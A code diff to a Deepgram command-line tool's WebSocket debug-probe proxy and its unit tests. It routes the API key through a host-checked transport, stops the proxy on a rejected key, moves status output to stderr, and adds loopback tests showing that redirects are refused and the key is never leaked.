--- a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
+++ b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
@@ -6,14 +6,20 @@
 import time
 from typing import Any
 
-from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient
+from deepctl_core import (
+    AuthManager,
+    BaseCommand,
+    Config,
+    DeepgramClient,
+    get_status_console,
+)
 from deepctl_shared_utils import require_ffprobe
-from rich.console import Console
 from rich.panel import Panel
 
 from .models import ProbeDebugResult
 
-console = Console()
+# Status chrome is diagnostics: stderr, so stdout carries only the result.
+console = get_status_console()
 
 
 def _find_available_port(start: int = 3100, end: int = 3199) -> int | None:
@@ -165,24 +171,33 @@ def handle(
                     port=port,
                 )
 
-        upstream_host = "api.deepgram.com"
+        from deepctl_core import transport
+        from rich.markup import escape
+
+        # The upstream is the Transport's checked WebSocket base, and the key
+        # goes only where that check allows (refused hosts raise, reported).
+        upstream = transport.Transport(config, check_host=auth_manager.check_base_url)
+        upstream_base = upstream.ws_base()
+        upstream_headers = upstream.auth_headers(api_key)
 
         # Create proxy
         proxy = ProbeProxy(
             api_key=api_key,
             config=config,
-            upstream_host=upstream_host,
+            upstream_base=upstream_base,
             probe_interval_bytes=probe_interval_bytes,
             probe_interval_seconds=probe_interval_seconds,
             verbose=verbose,
+            upstream_headers=upstream_headers,
         )
+        upstream_host = proxy.upstream_host
 
         # Print instructions
         console.print(
             Panel(
                 f"[bold cyan]WebSocket Probe Proxy[/bold cyan]\n\n"
                 f"Listening on: [green]ws://localhost:{port}[/green]\n"
-                f"Upstream:     [yellow]wss://{upstream_host}[/yellow]\n"
+                f"Forwards to:  [yellow]{escape(proxy.upstream_base)}[/yellow]\n"
                 f"API key:      [dim]****{api_key[-4:]}[/dim]\n\n"
                 f"Probe every:  {probe_interval_bytes:,} bytes "
                 f"or {probe_interval_seconds}s\n\n"
@@ -205,7 +220,10 @@ def interrupt() -> None:
             if proxy._stop.is_set():
                 proxy.abort()
             else:
-                console.print("\n[yellow]Shutting down probe proxy...[/yellow]")
+                console.print(
+                    "\n[yellow]Stopping: open connections can finish. Press "
+                    "Ctrl+C again to end them now.[/yellow]"
+                )
                 proxy._stop.set()
 
         installed, previous = _handle_sigint(loop, interrupt)
@@ -231,6 +249,10 @@ def interrupt() -> None:
                     signal.signal(signal.SIGINT, previous)
                 loop.close()
 
+        if proxy.fatal is not None:
+            # The key was rejected at the upgrade: exit 1 with its code.
+            raise proxy.fatal
+
         duration = time.time() - start_time
 
         console.print(f"\n[green]Probe proxy stopped after {duration:.1f}s[/green]")
diff --git a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py
index ba2834cd..3a90cad4 100644
--- a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py
+++ b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py
@@ -14,12 +14,12 @@
 from typing import TYPE_CHECKING, Any
 from urllib.parse import urlsplit
 
+from deepctl_core.output import get_status_console
 from deepctl_core.websocket import RedirectRefused
 from deepctl_shared_utils.ffprobe import (
     _parse_probe_data,  # lockstep sibling; same parsing as probe_buffer
     get_ffprobe_path,
 )
-from rich.console import Console
 from rich.text import Text
 from websockets.asyncio.server import Server, ServerConnection, serve
 from websockets.exceptions import ConnectionClosed, WebSocketException
@@ -29,11 +29,18 @@
 
 if TYPE_CHECKING:
     from deepctl_core import Config
+    from deepctl_core.transport import TransportError
     from deepctl_shared_utils.ffprobe_models import AudioProbeResult
     from websockets.asyncio.client import ClientConnection
     from websockets.http11 import Request, Response
 
-console = Console()
+# Status and transcripts are diagnostics: stderr, so stdout carries only the
+# command's result (one JSON document under -o json).
+console = get_status_console()
+
+# Refusals that end the proxy: the key is wrong for every connection. A 403
+# is about this request's scope (another path may be allowed), so it isn't.
+_FATAL_CODES = frozenset({"auth_invalid"})
 
 # Frames up to 4 MiB each way, the limit earlier releases allowed.
 MAX_FRAME_BYTES = 4 * 2**20
@@ -71,21 +78,33 @@ def __init__(
         self,
         api_key: str,
         config: Config | None = None,
-        upstream_host: str = "api.deepgram.com",
+        upstream_base: str | None = None,
         probe_interval_bytes: int = 131072,
         probe_interval_seconds: float = 10.0,
         verbose: bool = False,
+        upstream_headers: dict[str, str] | None = None,
     ) -> None:
+        """``upstream_base`` and ``upstream_headers`` come from the command's
+        Transport: the checked WebSocket base and the ``Authorization`` it
+        attaches only after the host check passed. Without headers, the
+        upstream gets no key."""
+        from deepctl_core import transport
+        from deepctl_core.hosts import DEFAULT_BASE_URL
+
         self.api_key = api_key
         self.config = config
-        self.upstream_host = upstream_host
+        # Where connections go: the base, then the client's path and query.
+        self.upstream_base = transport.ws_url(upstream_base or DEFAULT_BASE_URL)
+        self.upstream_base = self.upstream_base.rstrip("/")
+        self.upstream_host = urlsplit(self.upstream_base).hostname or ""
+        self.upstream_headers = dict(upstream_headers or {})
         self.probe_interval_bytes = probe_interval_bytes
         self.probe_interval_seconds = probe_interval_seconds
         self.verbose = verbose
         self.connections: list[ProbeConnectionStats] = []
-        # Where connections go: wss:// plus the fixed host, then the client's
-        # path and query. Tests point it at a loopback ws:// server.
-        self._upstream_base = f"wss://{upstream_host}"
+        # A coded error from an upstream that refused the key at the upgrade:
+        # the proxy stops and the command reports it (auth_invalid).
+        self.fatal: TransportError | None = None
         self._stop = asyncio.Event()
         # Open client and upstream connections, and pending upstream
         # connects, so a second Ctrl+C can end them at once.
@@ -139,9 +158,10 @@ def process_request(
     async def _connect_upstream(
         self, url: str, headers: dict[str, str]
     ) -> ClientConnection:
-        """Open the upstream WebSocket. The API key goes only here, and a
-        redirect on the upgrade is refused (``RedirectRefused``), never
-        followed."""
+        """Open the upstream WebSocket, within the Transport's open timeout.
+        The API key goes only here, and a redirect on the upgrade is refused
+        (``RedirectRefused``, a coded network_unavailable), never followed."""
+        from deepctl_core import transport
         from deepctl_core.websocket import open_async
 
         conn: ClientConnection = await open_async(
@@ -149,7 +169,7 @@ async def _connect_upstream(
             headers,
             command="dg debug probe",
             payload="audio",
-            open_timeout=10,
+            open_timeout=transport.WS_OPEN_TIMEOUT_S,
             close_timeout=30,
             max_size=MAX_FRAME_BYTES,
             compression=None,
@@ -188,15 +208,34 @@ def abort(self) -> None:
         for proc in list(self._ffprobes):
             self._reaping.add(asyncio.ensure_future(self._stop_ffprobe(proc)))
 
+    async def close_all(self) -> None:
+        """Close every open connection on both sides (each within 2 s)."""
+        for conn in list(self._live):
+            with contextlib.suppress(Exception):
+                await asyncio.wait_for(conn.close(), 2)
+
+    async def _stop_all(self) -> None:
+        """A fatal stop: close every open stream, then stop serving."""
+        await self.close_all()
+        self._stop.set()
+
     async def run(self, port: int) -> None:
         """Serve until `_stop` is set or this task is cancelled; then close
-        the listener and wait for every connection's summary."""
+        the listener and wait for every connection's summary. After a fatal
+        refusal that wait is capped at 2 s; what's left is aborted."""
         server = await self.start(port)
         try:
             await self._stop.wait()
         finally:
             server.close()
-            await server.wait_closed()
+            if self.fatal is not None:
+                closed = asyncio.ensure_future(server.wait_closed())
+                done, _ = await asyncio.wait({closed}, timeout=2)
+                if not done:
+                    self.abort()
+                await closed
+            else:
+                await server.wait_closed()
             await asyncio.gather(*self._reaping)
 
     async def handle_connection(self, ws_client: ServerConnection) -> None:
@@ -213,11 +252,11 @@ async def handle_connection(self, ws_client: ServerConnection) -> None:
         )
         self.connections.append(stats)
 
-        upstream_url = self._upstream_base + target
+        upstream_url = self.upstream_base + target
 
-        upstream_headers = {
-            "Authorization": f"Token {self.api_key}",
-        }
+        # The Transport's Authorization, attached after its host check; the
+        # proxy never builds it.
+        upstream_headers = dict(self.upstream_headers)
 
         console.print(
             Text.from_markup(
@@ -241,21 +280,32 @@ async def handle_connection(self, ws_client: ServerConnection) -> None:
             self._connecting.add(connecting)
             try:
                 ws_upstream = await connecting
-            except RedirectRefused as e:
-                console.print(
-                    Text.from_markup(
-                        f"[red]Upstream connection refused[/red] [{conn_id}]: "
-                    ),
-                    untrusted(e.message),
-                    sep="",
+            except (
+                RedirectRefused,
+                WebSocketException,
+                OSError,
+                asyncio.TimeoutError,
+            ) as e:
+                # A refused redirect is already coded (network_unavailable)
+                # and fails only this connection.
+                from deepctl_core import transport
+
+                mapped = transport.map_ws_open(
+                    e, (self.api_key,), host=self.upstream_host, path=path
                 )
-                return
-            except (WebSocketException, OSError, asyncio.TimeoutError) as e:
+                if mapped is not None and mapped.code in _FATAL_CODES:
+                    # The key itself was refused: every connection would fail
+                    # the same way. Stop, and let the command report the coded
+                    # error. Only the first refusal stops.
+                    if self.fatal is None:
+                        self.fatal = mapped
+                        await self._stop_all()
+                    return
                 console.print(
                     Text.from_markup(
-                        f"[red]Upstream connection failed[/red] [{conn_id}]: "
+                        f"[red]Deepgram connection failed[/red] [{conn_id}]: "
                     ),
-                    untrusted(str(e)),
+                    untrusted(f"{mapped.error} ({mapped.code})" if mapped else str(e)),
                     sep="",
                 )
                 return
diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
index 34fa059d..4800b470 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
@@ -1,5 +1,6 @@
 """Tests for debug probe command and proxy."""
 
+import asyncio
 import json
 from unittest.mock import Mock, patch
 
@@ -236,8 +237,13 @@ async def target(reader, writer):
             stubs.append(srv)
             ports[name] = srv.sockets[0].getsockname()[1]
 
-        proxy = ProbeProxy(api_key="fa1ce0000000000000000000000000000000000d")
-        proxy._upstream_base = f"ws://127.0.0.1:{ports['origin']}"
+        proxy = ProbeProxy(
+            api_key="fa1ce0000000000000000000000000000000000d",
+            upstream_base=f"ws://127.0.0.1:{ports['origin']}",
+            upstream_headers={
+                "Authorization": "Token fa1ce0000000000000000000000000000000000d"
+            },
+        )
         server = await proxy.start(0)
         port = next(iter(server.sockets)).getsockname()[1]
         try:
@@ -256,7 +262,7 @@ async def target(reader, writer):
     out = io.StringIO()
     with patch(
         "deepctl_cmd_debug_probe.proxy.console",
-        Console(file=out, force_terminal=False, width=300),
+        Console(file=out, force_terminal=False, width=300, stderr=True),
     ):
         asyncio.run(run())
     return origin_reqs, target_reqs, out.getvalue()
@@ -273,7 +279,8 @@ def test_redirect_refused_and_nothing_reaches_the_target(self, location):
         assert target == []
         assert len(origin) == 1
         assert b"Token fa1ce0" in origin[0]
-        assert "Upstream connection refused" in text
+        assert "Deepgram connection failed" in text
+        assert "(network_unavailable)" in text
         assert "dg debug probe doesn't follow redirects, so no audio was sent." in (
             " ".join(text.split())
         )
@@ -320,6 +327,8 @@ async def run(self, port):
 
     auth = Mock()
     auth.get_api_key.return_value = "fa1ce0000000000000000000000000000000000d"
+    # The Transport's host check: the default host passes.
+    auth.check_base_url.return_value = "https://api.deepgram.com"
     with (
         patch("deepctl_cmd_debug_probe.command.require_ffprobe", return_value=True),
         patch.object(proxymod.ProbeProxy, "run", run),
@@ -353,7 +362,7 @@ def custom(signum, frame):  # pragma: no cover - never called
             signal.signal(signal.SIGINT, old)
         assert result.status == "success"
         assert seen == []
-        assert "Shutting down probe proxy" in capsys.readouterr().out
+        assert "Stopping: open connections can finish" in capsys.readouterr().err
 
     def test_ignored_sigint_stays_ignored(self):
         """A background job in a script starts with SIGINT ignored: kill -INT
@@ -387,7 +396,7 @@ def hooks(proxy, loop, port):
         assert out["ignored"] is True
         if out["sigign"] is not None:  # Linux: the SIGINT bit is still set
             assert int(out["sigign"], 16) & (1 << (2 - 1))
-        assert "Shutting down probe proxy" not in proc.stdout
+        assert "Stopping: open connections can finish" not in proc.stderr
 
     def test_keyboard_interrupt_path_first_and_second_press(self, capsys):
         """Where the loop can't take SIGINT (Windows), Ctrl+C raises
@@ -423,7 +432,7 @@ def abort():
         assert time.monotonic() - t0 < 10
         assert result.status == "success"
         assert calls == ["abort"]
-        assert "Shutting down probe proxy" in capsys.readouterr().out
+        assert "Stopping: open connections can finish" in capsys.readouterr().err
 
 
 async def _hold_connection(proxy, port):
@@ -438,7 +447,7 @@ async def never(reader, writer):
         writer.close()
 
     hang = await asyncio.start_server(never, "127.0.0.1", 0)
-    proxy._upstream_base = f"ws://127.0.0.1:{hang.sockets[0].getsockname()[1]}"
+    proxy.upstream_base = f"ws://127.0.0.1:{hang.sockets[0].getsockname()[1]}"
     for _ in range(100):
         try:
             ws = await connect(f"ws://127.0.0.1:{port}/v1/listen")
@@ -520,3 +529,213 @@ def test_localhost_host_allowed_any_case(self):
     )
     def test_foreign_host_refused(self, host):
         assert self._status([("Host", host)]) == 403
+
+
+# ── The upstream comes from the Transport ──
+
+KEY = "fa1ce0000000000000000000000000000000000d"
+_QUIET = __import__("logging").getLogger("test.probe.fake-upstream")
+_QUIET.propagate = False
+_QUIET.setLevel(__import__("logging").CRITICAL + 1)
+
+
+async def _upstream(process_request, handler=None):
+    """A websockets server on a free loopback port. A refusal must come from
+    ``connection.respond()`` in ``process_request`` (websockets 13 runs the
+    handler for a hand-built Response)."""
+    from websockets.asyncio.server import serve
+
+    async def echo(ws):
+        async for msg in ws:
+            await ws.send(msg)
+
+    server = await serve(
+        handler or echo,
+        "127.0.0.1",
+        0,
+        process_request=process_request,
+        logger=_QUIET,
+    )
+    return server, next(iter(server.sockets)).getsockname()[1]
+
+
+def _proxy_to(port):
+    proxy = ProbeProxy(
+        api_key=KEY,
+        upstream_base=f"http://127.0.0.1:{port}",
+        upstream_headers={"Authorization": f"Token {KEY}"},
+    )
+    assert proxy.upstream_base == f"ws://127.0.0.1:{port}"
+    return proxy
+
+
+async def _client_until_closed(port, target="/v1/listen?encoding=linear16"):
+    from websockets.asyncio.client import connect
+    from websockets.exceptions import ConnectionClosed, InvalidHandshake
+
+    try:
+        async with connect(f"ws://127.0.0.1:{port}{target}", open_timeout=5) as ws:
+            await asyncio.wait_for(ws.recv(), 10)
+    except (ConnectionClosed, InvalidHandshake, OSError, asyncio.TimeoutError):
+        pass
+
+
+def _run_proxy_against(process_request, *, connections=1):
+    """Serve the fake upstream and the proxy on loopback, connect
+    ``connections`` clients one after another, and run until the proxy stops
+    itself or the clients are done. Returns (proxy, seen upstream auth)."""
+    seen = []
+
+    def record(connection, request):
+        seen.append(request.headers.get("Authorization"))
+        return process_request(connection, request)
+
+    async def main():
+        upstream, up_port = await _upstream(record)
+        proxy = _proxy_to(up_port)
+        port = _free_port()
+        run = asyncio.ensure_future(proxy.run(port))
+        await asyncio.sleep(0.1)
+        for _ in range(connections):
+            await _client_until_closed(port)
+        await asyncio.sleep(0.3)
+        proxy._stop.set()
+        await asyncio.wait_for(run, 20)
+        upstream.close()
+        await upstream.wait_closed()
+        return proxy
+
+    return asyncio.run(main()), seen
+
+
+def _refusing(status):
+    def process_request(connection, request):
+        return connection.respond(status, "{}")
+
+    return process_request
+
+
+@pytest.mark.parametrize(("status", "code"), [(401, "auth_invalid")])
+def test_refused_key_stops_the_proxy_with_its_code(status, code):
+    proxy, seen = _run_proxy_against(_refusing(status), connections=1)
+    assert proxy.fatal is not None
+    assert proxy.fatal.code == code
+    assert seen == [f"Token {KEY}"]
+    assert KEY not in proxy.fatal.error
+
+
+@pytest.mark.parametrize("status", [400, 403, 404, 429, 500, 503])
+def test_other_refusals_fail_only_that_connection(status, capsys):
+    proxy, seen = _run_proxy_against(_refusing(status), connections=2)
+    assert proxy.fatal is None  # the proxy kept serving
+    assert seen == [f"Token {KEY}"] * 2
+    assert len(proxy.connections) == 2
+    err = capsys.readouterr().err
+    assert err.count("Deepgram connection failed") == 2
+    assert KEY not in err
+    if status == 404:
+        assert "/v1/listen" in err
+
+
+def test_a_later_401_doesnt_stop_the_loop_again():
+    """A second client refused after the first fatal 401 (here: while the
+    server shuts down) must not stop the proxy a second time."""
+    proxy, seen = _run_proxy_against(_refusing(401), connections=2)
+    assert proxy.fatal is not None and proxy.fatal.code == "auth_invalid"
+    assert 1 <= len(seen) <= 2
+
+
+def test_fatal_stop_with_an_open_stream_is_fast(capsys):
+    """A 401 while another stream is open stops within seconds, with
+    no leftover tasks or loop exception-handler errors."""
+    import time
+
+    def process_request(connection, request):
+        if "mode=401" in request.path:
+            return connection.respond(401, "{}")
+        return None
+
+    errors: list[dict] = []
+    marks: dict[str, float] = {}
+
+    async def main():
+        asyncio.get_running_loop().set_exception_handler(
+            lambda _loop, ctx: errors.append(ctx)
+        )
+        upstream, up_port = await _upstream(process_request)
+        proxy = _proxy_to(up_port)
+        port = _free_port()
+        run = asyncio.ensure_future(proxy.run(port))
+        await asyncio.sleep(0.1)
+
+        async def held():
+            from websockets.asyncio.client import connect
+            from websockets.exceptions import ConnectionClosed
+
+            async with connect(f"ws://127.0.0.1:{port}/v1/listen") as ws:
+                await ws.send("ping")
+                await asyncio.wait_for(ws.recv(), 5)
+                try:
+                    await asyncio.wait_for(ws.recv(), 30)  # until the proxy closes it
+                except ConnectionClosed:
+                    pass
+
+        holder = asyncio.ensure_future(held())
+        await asyncio.sleep(0.5)
+        marks["refused"] = time.monotonic()
+        await _client_until_closed(port, "/v1/listen?mode=401")
+        await asyncio.wait_for(run, 30)
+        marks["stopped"] = time.monotonic()
+        await asyncio.wait_for(holder, 5)
+        upstream.close()
+        await upstream.wait_closed()
+        return proxy
+
+    proxy = asyncio.run(main())
+    assert proxy.fatal is not None and proxy.fatal.code == "auth_invalid"
+    assert marks["stopped"] - marks["refused"] < 10
+    assert errors == []
+
+
+def test_open_timeout_fails_only_that_connection(monkeypatch, capsys):
+    from deepctl_core import transport
+
+    monkeypatch.setattr(transport, "WS_OPEN_TIMEOUT_S", 0.3)
+
+    async def hang(connection, request):
+        await asyncio.sleep(2)
+
+    proxy, seen = _run_proxy_against(hang, connections=1)
+    assert proxy.fatal is None
+    assert "(timeout)" in capsys.readouterr().err
+
+
+def test_default_upstream_is_the_hosts_default():
+    from deepctl_core.hosts import DEFAULT_BASE_URL
+
+    proxy = ProbeProxy(api_key=KEY)
+    assert proxy.upstream_base == DEFAULT_BASE_URL.replace("https://", "wss://")
+    assert proxy.upstream_headers == {}  # no key without the command's check
+
+
+def test_refused_host_gets_no_key(monkeypatch, tmp_path):
+    from deepctl_core import hosts, output
+    from deepctl_core.auth import AuthManager
+    from deepctl_core.config import Config
+
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "http://127.0.0.1:9")
+    monkeypatch.setenv("DEEPGRAM_API_KEY", KEY)
+    config = Config(config_path=str(tmp_path / "none.yaml"))
+    built = []
+    # handle() imports ProbeProxy from .proxy at call time, so the
+    # seam is the proxy module's name.
+    monkeypatch.setattr(
+        "deepctl_cmd_debug_probe.proxy.ProbeProxy",
+        lambda **kw: built.append(kw),
+    )
+    with patch("deepctl_cmd_debug_probe.command.require_ffprobe", return_value=True):
+        with pytest.raises(hosts.CredentialHostError):
+            ProbeCommand().handle(config, AuthManager(config), Mock(), port=None)
+    assert built == []
diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
index 43eeda4b..f23d9e98 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
@@ -1,7 +1,8 @@
 """The probe proxy against real loopback servers: relay, refusals, run loop.
 
 The upstream is a websockets server on a free 127.0.0.1 port, reached
-through the proxy's `_upstream_base` seam. Nothing is mocked.
+through the proxy's `upstream_base`, with the Authorization the command's
+Transport would pass. Nothing is mocked.
 """
 
 from __future__ import annotations
@@ -81,8 +82,12 @@ class Proxy:
     """A ProbeProxy listening on a free port, pointed at `upstream`."""
 
     def __init__(self, upstream: FakeUpstream) -> None:
-        self.proxy = ProbeProxy(api_key=KEY, probe_interval_bytes=10**9)
-        self.proxy._upstream_base = f"ws://127.0.0.1:{upstream.port}"
+        self.proxy = ProbeProxy(
+            api_key=KEY,
+            probe_interval_bytes=10**9,
+            upstream_base=f"ws://127.0.0.1:{upstream.port}",
+            upstream_headers={"Authorization": f"Token {KEY}"},
+        )
 
     async def __aenter__(self) -> Proxy:
         self.server = await self.proxy.start(0)
@@ -220,7 +225,7 @@ async def main() -> tuple[int, bytes, FakeUpstream]:
     status, body, up = asyncio.run(main())
     assert (status, body) == (403, b"Forbidden.\n")
     assert up.handshakes == []
-    out = " ".join(capsys.readouterr().out.split())  # rich wraps at 80 columns
+    out = " ".join(capsys.readouterr().err.split())  # rich wraps at 80 columns
     if "Origin" in headers:
         shown = headers["Origin"].replace("\t", "\\x09")
         assert (
@@ -269,15 +274,17 @@ async def main() -> None:
             await ws.close()
 
     asyncio.run(main())
-    assert "path=/v1/listen[bold]x" in capsys.readouterr().out
+    assert "path=/v1/listen[bold]x" in capsys.readouterr().err
 
 
-def test_upstream_401_reports_and_keeps_serving(capsys, caplog):
+def test_upstream_403_reports_and_keeps_serving(capsys, caplog):
+    """A refusal other than 401 fails only that connection (only
+    auth_invalid stops the proxy; see test_probe's fatal tests)."""
     caplog.set_level(logging.DEBUG)
 
     async def main() -> list[tuple[int | None, str | None]]:
         closes = []
-        async with FakeUpstream(status=401) as up, Proxy(up) as px:
+        async with FakeUpstream(status=403) as up, Proxy(up) as px:
             for _ in range(2):
                 async with connect(f"ws://127.0.0.1:{px.port}/v1/listen") as ws:
                     with pytest.raises(ConnectionClosed):
@@ -288,8 +295,8 @@ async def main() -> list[tuple[int | None, str | None]]:
 
     assert asyncio.run(main()) == [(1000, ""), (1000, "")]
     out = capsys.readouterr()
-    assert out.out.count("Upstream connection failed") == 2
-    assert "HTTP 401" in out.out
+    assert out.err.count("Deepgram connection failed") == 2
+    assert "(auth_forbidden)" in out.err
     for text in (out.out, out.err, caplog.text):
         assert KEY not in text
 
@@ -331,7 +338,7 @@ def test_run_stops_on_event_and_on_cancel_after_summaries(capsys):
     async def main() -> ProbeProxy:
         async with FakeUpstream() as up:
             proxy = ProbeProxy(api_key=KEY)
-            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            proxy.upstream_base = f"ws://127.0.0.1:{up.port}"
             with __import__("socket").socket() as s:
                 s.bind(("127.0.0.1", 0))
                 port = s.getsockname()[1]
@@ -361,7 +368,7 @@ async def main() -> ProbeProxy:
     proxy = asyncio.run(main())
     (stats,) = proxy.connections
     assert stats.duration_seconds is not None
-    out = capsys.readouterr().out
+    out = capsys.readouterr().err
     assert "Connection closed" in out
     assert "Sent: 1,000 bytes (1 binary, 0 text frames)" in out
 
@@ -554,14 +561,14 @@ def test_snapshots_do_not_block_the_loop_and_stop_waits_for_summaries(
         proxymod,
         "get_ffprobe_path",
         lambda _config=None: _fake_ffprobe(
-            tmp_path, f"open({str(marker)!r}, 'w').close(); time.sleep(1.5)"
+            tmp_path, f"open({str(marker)!r}, 'w').close(); time.sleep(4)"
         ),
     )
 
     async def main() -> tuple[float, ProbeProxy]:
         async with FakeUpstream() as up:
             proxy = ProbeProxy(api_key=KEY, probe_interval_bytes=1)
-            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            proxy.upstream_base = f"ws://127.0.0.1:{up.port}"
             server = await proxy.start(0)
             port = next(iter(server.sockets)).getsockname()[1]
             server.close()
@@ -570,7 +577,7 @@ async def main() -> tuple[float, ProbeProxy]:
             await asyncio.sleep(0.2)
             a = await connect(f"ws://127.0.0.1:{port}/v1/listen")
             await a.recv()
-            await a.send(b"\x00" * 100)  # starts a 1.5 s snapshot
+            await a.send(b"\x00" * 100)  # starts a 4 s snapshot
             while not marker.exists():
                 await asyncio.sleep(0.01)
             t0 = time.monotonic()
@@ -579,16 +586,16 @@ async def main() -> tuple[float, ProbeProxy]:
             await b.send("ping")
             assert await b.recv() == "ping"
             relayed_in = time.monotonic() - t0
-            for _ in range(30):  # a backlog: 30 more 1.5 s snapshots if drained
+            for _ in range(30):  # a backlog: 30 more 4 s snapshots if drained
                 await a.send(b"\x00" * 100)
             proxy._stop.set()  # what the first Ctrl+C does, mid-snapshot
-            await asyncio.wait_for(task, 10)
+            await asyncio.wait_for(task, 20)
             return relayed_in, proxy
 
     relayed_in, proxy = asyncio.run(main())
-    assert relayed_in < 1.0
+    assert relayed_in < 2.5
     assert all(c.duration_seconds is not None for c in proxy.connections)
-    out = capsys.readouterr().out
+    out = capsys.readouterr().err
     assert out.count("Connection closed") == 2
     assert "Not forwarded (arrived while stopping): 3,000 bytes (30 frames)" in out
 
@@ -601,7 +608,7 @@ def test_abort_ends_connections_without_waiting_for_close_timeout(capsys):
     async def main() -> float:
         async with _DeafUpstream() as up:
             proxy = ProbeProxy(api_key=KEY)
-            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            proxy.upstream_base = f"ws://127.0.0.1:{up.port}"
             server = await proxy.start(0)
             port = next(iter(server.sockets)).getsockname()[1]
             server.close()
@@ -619,8 +626,8 @@ async def main() -> float:
             await asyncio.wait_for(task, 10)
             return time.monotonic() - t0
 
-    assert asyncio.run(main()) < 3
-    assert "Connection closed" in capsys.readouterr().out
+    assert asyncio.run(main()) < 10
+    assert "Connection closed" in capsys.readouterr().err
 
 
 def test_abort_during_upstream_handshake():
@@ -631,7 +638,7 @@ async def never(reader: Any, writer: Any) -> None:
 
         hang = await asyncio.start_server(never, "127.0.0.1", 0)
         proxy = ProbeProxy(api_key=KEY)
-        proxy._upstream_base = f"ws://127.0.0.1:{hang.sockets[0].getsockname()[1]}"
+        proxy.upstream_base = f"ws://127.0.0.1:{hang.sockets[0].getsockname()[1]}"
         server = await proxy.start(0)
         port = next(iter(server.sockets)).getsockname()[1]
         server.close()
@@ -675,7 +682,7 @@ def test_second_stop_kills_a_running_ffprobe_and_skips_the_final_probe(
     async def main() -> float:
         async with FakeUpstream() as up:
             proxy = ProbeProxy(api_key=KEY, probe_interval_bytes=1)
-            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            proxy.upstream_base = f"ws://127.0.0.1:{up.port}"
             server = await proxy.start(0)
             port = next(iter(server.sockets)).getsockname()[1]
             server.close()
@@ -695,9 +702,9 @@ async def main() -> float:
             return time.monotonic() - t0
 
     elapsed = asyncio.run(main())
-    assert elapsed < 1.5
+    assert elapsed < 4.0
     assert len(list(runs.iterdir())) == 1  # no final probe
-    assert "Connection closed" in capsys.readouterr().out
+    assert "Connection closed" in capsys.readouterr().err
 
 
 def test_transcripts_print_literally_and_keep_unicode(capsys):
@@ -714,7 +721,7 @@ def test_transcripts_print_literally_and_keep_unicode(capsys):
         ),
         stats,
     )
-    out = capsys.readouterr().out
+    out = capsys.readouterr().err
     assert "[bold]x[/bold] :smile: \u3053\u3093\u306b\u3061\u306f[2J" in out
     assert "\x1b" not in out and "\x9b" not in out
     assert stats.transcripts == [transcript]
@@ -732,6 +739,85 @@ def test_not_forwarded_line_counts(frames, size, line, capsys):
 
     stats = ProbeConnectionStats(connection_id="1234abcd")
     ProbeProxy(api_key=KEY)._print_connection_summary(stats, frames, size)
-    assert f"  {line}\n" in capsys.readouterr().out
+    assert f"  {line}\n" in capsys.readouterr().err
     ProbeProxy(api_key=KEY)._print_connection_summary(stats)
-    assert "Not forwarded" not in capsys.readouterr().out
+    assert "Not forwarded" not in capsys.readouterr().err
+
+
+class _Redirector:
+    """A loopback upstream that answers every upgrade with a redirect and
+    counts the handshakes it gets and the Authorization values it saw."""
+
+    def __init__(self, status: int, location: str) -> None:
+        self.status = status
+        self.location = location
+        self.handshakes: list[str | None] = []
+
+    def _process(self, connection, request):  # noqa: ANN001
+        self.handshakes.append(request.headers.get("Authorization"))
+        response = connection.respond(self.status, "moved\n")
+        response.headers["Location"] = self.location.format(port=self.port)
+        return response
+
+    async def __aenter__(self) -> "_Redirector":
+        from websockets.asyncio.server import serve
+
+        self.server = await serve(
+            lambda ws: ws.close(), "127.0.0.1", 0, process_request=self._process
+        )
+        self.port = self.server.sockets[0].getsockname()[1]
+        return self
+
+    async def __aexit__(self, *exc: object) -> None:
+        self.server.close()
+        await self.server.wait_closed()
+
+
+@pytest.mark.parametrize(
+    ("status", "cross_origin"),
+    [(302, True), (302, False), (301, True), (308, True), (307, False)],
+)
+def test_upstream_redirect_is_never_followed(status, cross_origin, capsys):
+    """A 3xx on the upstream upgrade fails only that connection with
+    network_unavailable; the redirect target sees no connection and the key
+    is sent once, to the configured upstream only."""
+
+    async def main():
+        async with FakeUpstream() as target:
+            location = (
+                f"ws://127.0.0.1:{target.port}/v1/listen"
+                if cross_origin
+                else "ws://127.0.0.1:{port}/v1/listen?again=1"
+            )
+            async with _Redirector(status, location) as up:
+                proxy = ProbeProxy(
+                    api_key=KEY,
+                    upstream_base=f"ws://127.0.0.1:{up.port}",
+                    upstream_headers={"Authorization": f"Token {KEY}"},
+                )
+                server = await proxy.start(0)
+                port = server.sockets[0].getsockname()[1]
+                err = ""
+                try:
+                    await _status(port, _upgrade(port))
+                    for _ in range(150):
+                        err += capsys.readouterr().err
+                        if "connection failed" in err:
+                            break
+                        await asyncio.sleep(0.02)
+                    # A followed redirect would reach the target meanwhile.
+                    await asyncio.sleep(0.2)
+                    err += capsys.readouterr().err
+                finally:
+                    server.close()
+                    await server.wait_closed()
+                return err, up.handshakes, target.handshakes, proxy
+
+    err, handshakes, target_handshakes, proxy = asyncio.run(main())
+    assert handshakes == [f"Token {KEY}"]
+    assert target_handshakes == []
+    assert proxy.fatal is None
+    flat = " ".join(err.split())
+    assert "Deepgram connection failed" in flat
